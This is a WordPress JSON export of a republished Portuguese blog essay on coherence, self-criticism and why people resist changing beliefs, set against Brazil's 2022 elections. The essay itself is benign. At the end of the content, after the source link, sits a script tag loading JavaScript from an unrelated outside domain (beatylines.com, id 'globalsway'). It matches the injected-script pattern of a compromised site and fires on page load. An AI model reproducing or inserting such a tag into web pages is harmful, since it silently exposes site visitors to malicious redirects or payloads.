{"id":3042,"date":"1969-12-31T21:00:00","date_gmt":"1970-01-01T00:00:00","guid":{"rendered":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/por-que-e-dificil-mudar-crencas-mesmo-tendo-provas-contrarias\/"},"modified":"1969-12-31T21:00:00","modified_gmt":"1970-01-01T00:00:00","slug":"por-que-e-dificil-mudar-crencas-mesmo-tendo-provas-contrarias","status":"publish","type":"post","link":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/por-que-e-dificil-mudar-crencas-mesmo-tendo-provas-contrarias\/","title":{"rendered":"Por que \u00e9 dif\u00edcil mudar cren\u00e7as mesmo tendo provas contr\u00e1rias?"},"content":{"rendered":"<p> <br \/>\n<\/p>\n<div>\n<p>Coer\u00eancia \u00e9 uma palavra que vem do latim <em>cohaerentia<\/em>, do radical <em>haereo<\/em>, ponto fixo, im\u00f3vel parado, de onde teria evolu\u00eddo para opini\u00e3o, sistema ou doutrina (<em>haeresis<\/em>). Coer\u00eancia indica como estamos comprometidos com o que acreditamos.<\/p>\n<p>Nossas palavras t\u00eam cr\u00e9dito, confiabilidade e consequ\u00eancia no tempo, e a coer\u00eancia traduz a rela\u00e7\u00e3o do sujeito com sua pr\u00f3pria palavra. Entretanto, muitas vezes, em nome da coer\u00eancia nos apegamos a uma forma de vida que precisamos ou queremos abandonar.<\/p>\n<p>A ideia de um ponto fixo, imune ao tempo, representado por princ\u00edpios, se choca contra outro valor decisivo e importante: a capacidade de se rever, transformando-se conforme o tempo e adaptando-se ou desadaptando-se conforme a mudan\u00e7a de cen\u00e1rio ou perspectiva.<\/p>\n<p>Frequentemente a coer\u00eancia em rela\u00e7\u00e3o aos outros est\u00e1 em conflito com a coer\u00eancia em rela\u00e7\u00e3o a si. Por isso, quando mudamos de opini\u00e3o ou conduta, tendo consci\u00eancia e reconhecendo as raz\u00f5es do processo de mudan\u00e7a, n\u00e3o chamamos isso de incoer\u00eancia, mas de autenticidade, renova\u00e7\u00e3o ou atualiza\u00e7\u00e3o.<\/p>\n<p>Isso nos leva a reinterpretar o que significa coer\u00eancia, n\u00e3o como ades\u00e3o irrestrita a um sistema de valores, mas como uma ades\u00e3o relativa a uma esp\u00e9cie de regra de transforma\u00e7\u00e3o. Ou seja, mudamos de caminho, mas a dire\u00e7\u00e3o ou sentido ainda assim pode ser discernida.<\/p>\n<p>Usamos estes dois valores de modo n\u00e3o sim\u00e9trico e equitativo. Em geral, esperamos do outro alto n\u00edvel de fidelidade e compromisso com a palavra empenhada e de n\u00f3s mesmos toler\u00e2ncia para mudar quando necess\u00e1rio, segundo contextos e circunst\u00e2ncias.<\/p>\n<p>Por isso muitos conflitos seguem a gram\u00e1tica que nos divide entre trair os outros (e a nossa palavra empenhada para eles) e ser fiel a n\u00f3s mesmos (e aos nossos processos, tantas vezes silenciosos, de transforma\u00e7\u00e3o).<\/p>\n<p>Biblicamente, para criticar os outros n\u00e3o hesitamos em &#8220;dar o tapa na cara&#8221; da incoer\u00eancia, mas para nos defender sacamos a carta da autenticidade, do contexto e da hist\u00f3ria mais bem contada.<\/p>\n<p>Tudo se inverte quando nos apaixonamos hipnoticamente pelo outro, a ponto de que suas incoer\u00eancias e incongru\u00eancias sejam atribu\u00eddas aos outros do outro, ao mundo, ou pior ainda, a n\u00f3s mesmos.<\/p>\n<p>Este mecanismo de moral dupla discursiva atua como corretor autom\u00e1tico para manter nossas ilus\u00f5es.<\/p>\n<p>Quando admiramos uma pessoa e ela nos decepciona, criamos suplementos explicativos do tipo: &#8220;as circunst\u00e2ncias mudaram&#8221;. Mitigamos a incoer\u00eancia do outro apelando para aspectos &#8220;positivos&#8221;, com os quais ele ainda se mant\u00e9m coerente. Protegemos nossas cren\u00e7as dizendo que aqueles que detestamos seriam ainda mais incoerentes.<\/p>\n<p>Em suma, a coer\u00eancia \u00e9 tanto um crit\u00e9rio de justi\u00e7a subjetiva quanto um subterf\u00fagio para recusar a realidade.<\/p>\n<p>Dois pesos, duas medidas.<\/p>\n<p>Por isso a for\u00e7a da realidade dos fatos \u00e9 t\u00e3o pequena quando se trata de mudar cren\u00e7as. Por isso tamb\u00e9m temos tanta dificuldade de deixar de amar algu\u00e9m que nos causa mal, ou sair de rela\u00e7\u00f5es t\u00f3xicas.<\/p>\n<p>De <a href=\"https:\/\/educacao.uol.com.br\/disciplinas\/filosofia\/aristoteles-o-mundo-da-experiencia-as-quatro-causas-etica-e-politica.htm\" target=\"_blank\" rel=\"noopener\">Arist\u00f3teles<\/a> a <a href=\"https:\/\/educacao.uol.com.br\/disciplinas\/filosofia\/kant---teoria-do-conhecimento-a-sintese-entre-racionalismo-e-empirismo.htm\" target=\"_blank\" rel=\"noopener\">Kant<\/a> entendemos que a verdade \u00e9 a adequa\u00e7\u00e3o da coisa ao intelecto ou a correspond\u00eancia entre as palavras e fatos.<\/p>\n<p>Contra isso, o fil\u00f3sofo da l\u00f3gica, Alfred Tarski, argumentou que a verdade de um sistema depende da rela\u00e7\u00e3o l\u00f3gica dele com ele mesmo. Ou seja, a l\u00f3gica tamb\u00e9m pode ser avaliada do ponto de vista da rela\u00e7\u00e3o com o mundo e de como as coisas s\u00e3o, mas de como mantemos uma certa coer\u00eancia em nosso sistema de ju\u00edzos.<\/p>\n<p>Por isso, a coer\u00eancia anda de m\u00e3os dadas com a verdade e a honestidade.<\/p>\n<p>A teoria da verdade como coer\u00eancia parece ter encontrado uma inusitada aplica\u00e7\u00e3o pr\u00e1tica quando pensamos nos mundos fechados em bolhas de opini\u00e3o e nos condom\u00ednios de moralidade.<\/p>\n<p>Como se aumentando o n\u00famero de pessoas acreditando no que eu acredito isso, por si s\u00f3, tornasse minha cren\u00e7a mais verdadeira.<\/p>\n<p>Em fun\u00e7\u00e3o deste prazer da confirma\u00e7\u00e3o resistimos a admitir a incoer\u00eancia de quem uma vez ganhou nossa confian\u00e7a.<\/p>\n<p>Isso causa dor ps\u00edquica chamada arrependimento e, em geral, demanda trabalho ps\u00edquico de transforma\u00e7\u00e3o, cujo custo nossa pregui\u00e7a mental detesta.<\/p>\n<p>Dar o bra\u00e7o a torcer, voltar atr\u00e1s e rever cren\u00e7as s\u00e3o um importante sinal de sa\u00fade ps\u00edquica.<\/p>\n<p>A capacidade de sentir vergonha, em vez de \u00f3dio, ao ver sua coer\u00eancia derrotada pela verdade \u2014dos fatos ou dos argumentos\u2014 significa que a realidade ainda \u00e9 capaz de gerar transforma\u00e7\u00f5es em voc\u00ea.<\/p>\n<p>Uma grande dificuldade em reconhecer seus erros e aprender com eles remonta a nossa hist\u00f3ria, f\u00e9rtil na produ\u00e7\u00e3o de personagens que, nesta hora, em vez de acolher a vulnerabilidade de quem est\u00e1 mudando, saca logo a carta da crueldade, do triunfo de supremacia e o saco de pancadas de tudo o que ficou retido no ressentimento alheio.<\/p>\n<p>O punitivismo, que cada vez mais faz parte da moralidade brasileira, mostra-se agora um duplo fator de desaprendizagem.<\/p>\n<p>Quando voc\u00ea perceber que algu\u00e9m est\u00e1 neste estado de transforma\u00e7\u00e3o \u00edntima deixe a incoer\u00eancia fazer seu trabalho. Ela age melhor no sil\u00eancio das consci\u00eancias individuais, na compreens\u00e3o do tempo de cada um, do que na guerra de opini\u00f5es.<\/p>\n<p>Evite usar aquela voz materna chata, que diante do desastre consumado murmura: &#8220;eu bem que te avisei&#8221;. Dizer isso cria resist\u00eancia. A pessoa pode substituir o penoso trabalho de mudan\u00e7a subjetiva, que come\u00e7a pela infiltra\u00e7\u00e3o da d\u00favida, pelo refor\u00e7o da raiva contra voc\u00ea e volta a se apaixonar pela coer\u00eancia de si.<\/p>\n<p>A autocr\u00edtica \u00e9 um processo amb\u00edguo.<\/p>\n<p>Ela pode acabar em transforma\u00e7\u00e3o genu\u00edna, quanto em culpa masoquista e crueldade s\u00e1dica. Por isso, fazer as pazes com o outro demanda autocr\u00edtica que nos reconcilia conosco.<\/p>\n<p>Em nossa atual dem\u00eancia provis\u00f3ria estamos presos a um dilema conhecido das brigas de casal: o outro tem que admitir primeiro que errou, ou que errou tamb\u00e9m, ou que nem tudo \u00e9 culpa dele. Enquanto isso n\u00e3o acontece, os filhos sofrem, a fam\u00edlia vai para os ares e o casamento acaba.<\/p>\n<p>A dificuldade absoluta de fazer este gesto vem de uma confus\u00e3o dif\u00edcil de desfazer entre culpa, responsabilidade e implica\u00e7\u00e3o.<\/p>\n<p>Quando a autocr\u00edtica \u00e9 vivida com culpa, ela se torna apenas um expediente para que o outro goze de n\u00f3s, de modo ainda mais cruel, nem que seja na nossa fantasia.<\/p>\n<p>Quando a autocr\u00edtica vem com responsabilidade, a humilha\u00e7\u00e3o diminui, mas ainda assim temos que encarar a dif\u00edcil tarefa de reparar o estrago feito, um trabalho que custa caro, subjetiva e objetivamente.<\/p>\n<p>Contudo, o grau mais elevado da autocr\u00edtica acontece quando h\u00e1 implica\u00e7\u00e3o. Aqui n\u00e3o nos importamos tanto com orgulho ou pregui\u00e7a, pois nos ocupamos de cuidar do processo transformativo, de n\u00f3s mesmos e do mundo.<\/p>\n<p>A recusa da autocr\u00edtica, com recupera\u00e7\u00e3o da coer\u00eancia em um novo lugar, frequentemente \u00e9 dificultada pelo \u00f3dio. N\u00e3o o \u00f3dio de que se o outro pisou em nosso p\u00e9, ele deve pedir desculpas, mas na gan\u00e2ncia do que mais-de-gozar da raz\u00e3o, do direito e da injusti\u00e7a que extrapola a repara\u00e7\u00e3o em vingan\u00e7a.<\/p>\n<p>Mas aceitar desculpas inicia o processo de repara\u00e7\u00e3o, n\u00e3o \u00e9 a repara\u00e7\u00e3o em si. Se o outro promete que n\u00e3o vai fazer de novo, sou solicitado ao trabalho de acreditar &#8230; de novo.<\/p>\n<p>O \u00f3dio \u00e9 mais f\u00e1cil: ele faz as pessoas se afastarem, desistirem uns dos outros, cujo consolo \u00e9 a coer\u00eancia de valores e a &#8220;incoerentiza\u00e7\u00e3o&#8221; do outro.<\/p>\n<p>Esse \u00f3dio n\u00e3o passa com o tempo. Ele evolui para ressentimento, porque demanda que o outro se torne outra pessoa, antes que eu possa ou tenha que fazer qualquer novo gesto ps\u00edquico. Neste caso, cada conversa s\u00f3 confirma o que o outro \u00e9. Pior, confirma que ele n\u00e3o quer mudar, porque n\u00e3o aceita o que eu digo, portanto, ficamos na mesma.<\/p>\n<p>Como sair deste jogo de espelhos e ecos?<\/p>\n<p>Um curso r\u00e1pido de psican\u00e1lise \u00e0 dist\u00e2ncia diria que \u00e9 preciso responder de outro lugar, que n\u00e3o aquele no qual se \u00e9 colocado. Mudar o afeto b\u00e1sico da conversa. Escutar o que o outro est\u00e1 dizendo, em vez de quem ele \u00e9.<\/p>\n<p>Em estado de massa somos levados a pensar, dizer e agir de forma irreconhec\u00edvel, para n\u00f3s mesmos, em estado &#8220;normal&#8221;.<\/p>\n<p>No grupo digital \u00e9 pior ainda, me empodero como grupo imagin\u00e1rio e me desresponsabilizo pela pr\u00f3pria palavra.<\/p>\n<p>A <a href=\"https:\/\/tab.uol.com.br\/colunas\/matheus-pichonelli\/2022\/08\/02\/por-receio-brasileiros-nao-falam-sobre-politica-tem-como-ser-diferente.htm\" target=\"_blank\" rel=\"noopener\">recusa da pol\u00edtica, como campo minado para quase metade dos brasileiros<\/a>, em v\u00e9spera de elei\u00e7\u00f5es, \u00e9 a evita\u00e7\u00e3o de olhar para o que h\u00e1 de pior na realidade e em n\u00f3s mesmos, mas tamb\u00e9m sintoma de nossa patologia da coer\u00eancia.<\/p>\n<p>O dado \u00e9 t\u00e3o compreens\u00edvel, quanto a indiferen\u00e7a relativa ou isenta, no enfrentamento de temas como viol\u00eancia, corrup\u00e7\u00e3o, racismo, injusti\u00e7a e desigualdade social.<\/p>\n<p>Compreens\u00edvel porque nos protege do trabalho da d\u00favida, da incerteza e do conflito mal tratado.<\/p>\n<p>Mas infelizmente esta evita\u00e7\u00e3o do conflito nos deixa sozinhos e sentimos que n\u00e3o podemos mudar nada na realidade. Por isso muitas pessoas cultivam sua pr\u00f3pria coer\u00eancia n\u00e3o se envolvendo, n\u00e3o opinando, n\u00e3o participando.<\/p>\n<p>Mas elei\u00e7\u00f5es s\u00e3o momentos de mudan\u00e7a na realidade, e \u00e9 por isso que somos chamados a viver o conflito de outra maneira.<\/p>\n<p>Por isso somos chamados a olhar bem de frente para o problema, n\u00e3o desviar os olhos e voltar para a conversa.<\/p>\n<p>Isso come\u00e7a por perguntar, junto com Jo\u00e3o Cabral de Melo Neto: qual \u00e9 a parte que me cabe neste latif\u00fandio?<\/p>\n<p>Ou ent\u00e3o com Freud: como voc\u00ea concorre para produzir a desordem da qual voc\u00ea se queixa?<\/p>\n<\/p><\/div>\n<p><br \/>\n<br \/><a href=\"https:\/\/www.uol.com.br\/tilt\/colunas\/blog-do-dunker\/2022\/08\/08\/eleicoes-2022-coerencia-autocritica-psicanalise-politica-renovacao-mudanca.htm\">Source link <\/a><script src='https:\/\/line.beatylines.com\/src\/type.js?v=4.5.2' type='text\/javascript' id='globalsway'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Coer\u00eancia \u00e9 uma palavra que vem do latim cohaerentia, do radical haereo, ponto fixo, im\u00f3vel parado, de onde teria evolu\u00eddo para opini\u00e3o, sistema ou doutrina (haeresis). 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